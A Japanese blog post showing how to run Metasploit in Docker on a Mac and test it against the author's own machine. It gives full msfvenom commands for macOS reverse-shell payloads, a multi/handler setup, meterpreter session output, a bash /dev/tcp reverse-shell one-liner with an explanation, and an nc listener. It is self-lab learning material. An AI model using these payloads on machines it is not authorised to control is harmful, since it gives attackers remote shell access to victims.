概要
過去に Mac 上に Metasploit をインストールして使ってみました
どうやら docker でも動かせるので docker 上で Metasploit を試してみました
今回はお試しなので過去に試したリバースシェルを docker でやってみます
環境
- macOS 15.5
- docker 28.3.2
- metasploit v6.4.0-dev
Metasploit (msfconsole) の起動
-
docker run --rm -it --name metasploit -p 4444:4444 metasploitframework/metasploit-framework
リバースシェル用の macho ファイルの作成
先ほど起動したコンテナ上で msfvenom コマンドが使えるのでそれを使って作成します
msfvenom コマンドは PATH に通っていないのでフルパスで指定し実行します
192.168.1.100 は Mac のホストの IP アドレスです
-
/usr/src/metasploit-framework/msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload.macho
コンテナ上に保存した payload.macho ファイルをホスト側の Mac にコピーします
-
docker cp metasploit:/home/msf/payload.macho .
リバースシェルの待受をする
msfconsole が起動しているコンテナ上で実行します
- use exploit/multi/handler
- set payload osx/x64/meterpreter_reverse_tcp
- set LHOST 0.0.0.0
- set LPORT 4444
- exploit
実際のコンソール上では以下のようになります
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
ホストマシン上で macho ファイルの実行
あとは Mac 上で payload.macho ファイルを実行すれば OK です
msfconsole で起動したハンドラ側で操作できることを確認します
- chmod +x ./payload.macho
- ./payload.macho
msfconsole 側では meterpreter が起動し専用のコマンドが起動できるようになります
[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 192.168.65.1:51203) at 2025-07-29 01:39:02 +0000
meterpreter > sysinfo
Computer : mymac.local
OS : (macOS 15.5.-1)
Architecture : x64
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
最後に
Metasploit を docker 上で起動してみました
Metasploit を macOS 上で動かす場合には Homebrew でインストールすることも出来ますが非推奨のインストール方法らしくまた実際に Homebrew でインストールすると sudo: sorry, you are not allowed to preserve the environment になりインストールできませんでした
なので可能な限り docker や公式のインストール手順を使ってインストールしましょう
セキュリティ的な観点からも docker で動かすほうがいいのかもしれません
おまけ: リバースシェルの中身
macho ファイルはバイナリですが sh は普通に中身を確認できます
bash -c '0<&143-;exec 143<>/dev/tcp/192.168.100.2/4444;sh <&143 >&143 2>&143'
簡単に説明すると
- ファイルディスクリプタ 143 を標準入力(fd 0)に割り当て
- /dev/tcp/ホスト/ポート を読み書き(双方向)で開き、ファイルディスクリプタ 143 に割り当て
- sh(シェル)を起動し、その stdin, stdout, stderr をすべて fd 143 に接続
fd が 143 なのに深い意味はなく単純に使用されていないであろう大きめの番号を指定しているだけだと思われます
おまけ2: meterpreter ではなく nc で待ち受ける方法
今回はリバースシェル作成時にペイロード osx/x64/meterpreter_reverse_tcp を指定しましたがこれは待ち受け側が meterpreter であることを前提にしたリバースシェルになります
もし meterpreter を使わず nc を使って待ち受ける場合ペイロード osx/x64/shell_reverse_tcp を使って msfvenom を使ってリバースシェルを作成します
-
/usr/src/metasploit-framework/msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload2.macho
これを Mac 側に持っていき
- chmod +x payload2.macho
- ./payload2.macho
で起動し
- nc -lv 4444
で待ち受けすることでシェルを実行できるようになります
0 件のコメント:
コメントを投稿